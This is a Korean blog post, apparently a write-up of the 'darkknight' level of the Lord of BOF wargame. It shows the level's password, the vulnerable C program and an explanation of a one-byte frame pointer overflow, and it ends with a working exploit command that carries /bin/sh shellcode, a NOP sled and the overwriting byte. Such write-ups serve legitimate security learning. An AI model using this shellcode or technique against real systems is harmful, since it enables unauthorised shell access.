SH1R0_HACKER

12. golem -> darkknight 본문

System/The Lord of BOF

12. golem -> darkknight

SH1R0_HACKER 2020. 10. 30. 14:47

id : golem

password : cup of coffee


[ darkkinght.c ]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
        char buffer[40];
        strncpy(buffer, src, 41);
        printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
        if(argc<2){
                printf("argv error\n");
                exit(0);
        }

        problem_child(argv[1]);
}

 

코드를 분석해봅시다.

 

인자의 개수가 2개 미만이면 "argv error" 를 출력하고 종료합니다.

 

첫번째 인자(argv[1])을 problem_child 함수의 매개변수로 전달합니다.

 

40byte 크기의 buffer을 생성하고

 

문자열 복사함수 strncpy를 이용하여 src에 있는 문자열을 buffer로 41만큼 복사합니다.

 

이때 스택 구조는 위와 같다고 볼 수 있습니다.

 

darkknight 문제 초반에 주석으로 FPO라는 것을 제시해주었습니다.

 

FPO는 Frame Pointer Overflow에 대한 약자로

우리가 이때까지 RET의 주소를 쉘코드로 변경하여 공격하는 방법을 써먹었지만

이 문제에서는 SFP를 변경시켜 Instruction Pointer (IP)를 변경할 수 있습니다.

 

이 공격은 1byte만으로 공격이 가능합니다.

 

FPO 공격을 하기 위해서는 다음 두 조건을 만족해야 합니다.

 

1. main() 외에 서브 함수가 1개 이상 존재해야한다.

2. 서브함수에서 SFP의 하위 1byte가 오버플로우가 가능해야한다.

 

자세한 내용은 아래의 블로그를 참고해주세요.

hackstoryadmin.tistory.com/entry/FPO-Frame-Pointer-Overflow

 

FPO (Frame Pointer Overflow)

안녕하세요. FPO (Frame Pointer Overflow) 에 대해 포스팅을 시작하겠습니다. 먼저 FPO 란? SFP의 1byte를 overflow (overwrite) 하여 실행코드가 있는 원하는 주소로 eip 를 변조하는 기법입니다. 이를 학습하기..

hackstoryadmin.tistory.com

 

빨간색으로된 부분이 buffer의 시작주소입니다.

초록색으로 된 부분은 SFP로 1byte만큼 a(0x41)가 들어간걸 볼 수 있습니다.

 

최종적으로 페이로드를 작성하면 다음과 같습니다.

 

25byte의 쉘코드 + 15byte의 NOP코드 + "\xa8"

./darkknight2 `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*15+"\xa8"'`

 

 

공격에 성공했습니다.

이제 원본파일 darkknight에 똑같이 페이로드를 날려줍니다.

 

 

'System > The Lord of BOF' 카테고리의 다른 글

14. bugbear -> giant (작성중)  (0) 2021.02.03
13. darkknight -> bugbear  (0) 2021.02.03
11. skeleton -> golem  (0) 2020.10.29
10. vampire -> skeleton  (0) 2020.10.28
9. troll -> vampire  (0) 2020.10.27